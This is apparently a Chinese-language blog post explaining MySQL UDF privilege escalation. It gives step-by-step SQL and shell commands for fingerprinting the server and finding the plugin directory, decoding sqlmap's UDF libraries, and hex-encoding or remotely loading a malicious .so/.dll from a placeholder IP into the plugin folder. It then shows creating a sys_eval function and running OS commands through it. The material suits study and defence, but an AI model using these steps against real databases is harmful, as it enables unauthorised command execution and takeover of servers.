mysql-UDF提权

发布于 2022-02-06  131 次阅读


什么是udf.dll ?
UDF (user defined function) ,用户自定义函数,用户可以通过自定义函数实现在Mysql中无法方便实现的
功能,添加的新函数都可以在sql语句中调用,就像调用本机函数一样.
使用udf提权原理大概就是通过引入udf.dll,引入自定义函数(如sys_eval()函数),执行系统命令。
利用udf提权,有几个的条件.Mysql数据库没有开启安全模式.
己知的数据库账号具有对mysql数据库插入和删除的权限,最好是root最高权限。壳有写入到数据库安装目录的权限

步骤

1.信息收集(udf文件分为linux(.so)/windows(.dll),32位或64位)
判断版本
select   @@version_compile_os,@@version_compile_machine,@@version
判断路径
select  @@plugin_dir; show variables like 'plugin%';
2.udf文件位置
sqlmap/data/udf/mysql/linux/64  这4个文件经过了编码需要在sqlmapnew1\extra\cloak下运行python ./cloak.py -d -i backdoor.asp_
转化为txt,udf.dll如何处理(去除空格和换行)
一.cmd命令行处理
certutil -encodehex -f -v udf32.dll w32.txt 4
二.数据库处理
select hex(load_file('l64.so')) into dumpfile 'l64.hex';
三.远程包含导入
select load_file('//ip/l64.so') into dumpfile '/www/server/mysql/lib/plugin/l64.so';
3.写入文件
select w32.txt文件内容 into dumpfile '判断出的路径/plugin/1.so'
4.生成函数
create function sys_eval returns string soname '1.so'
5.执行命令
select sys_eval('whoami')

子夜不哭
最后更新于 2022-02-06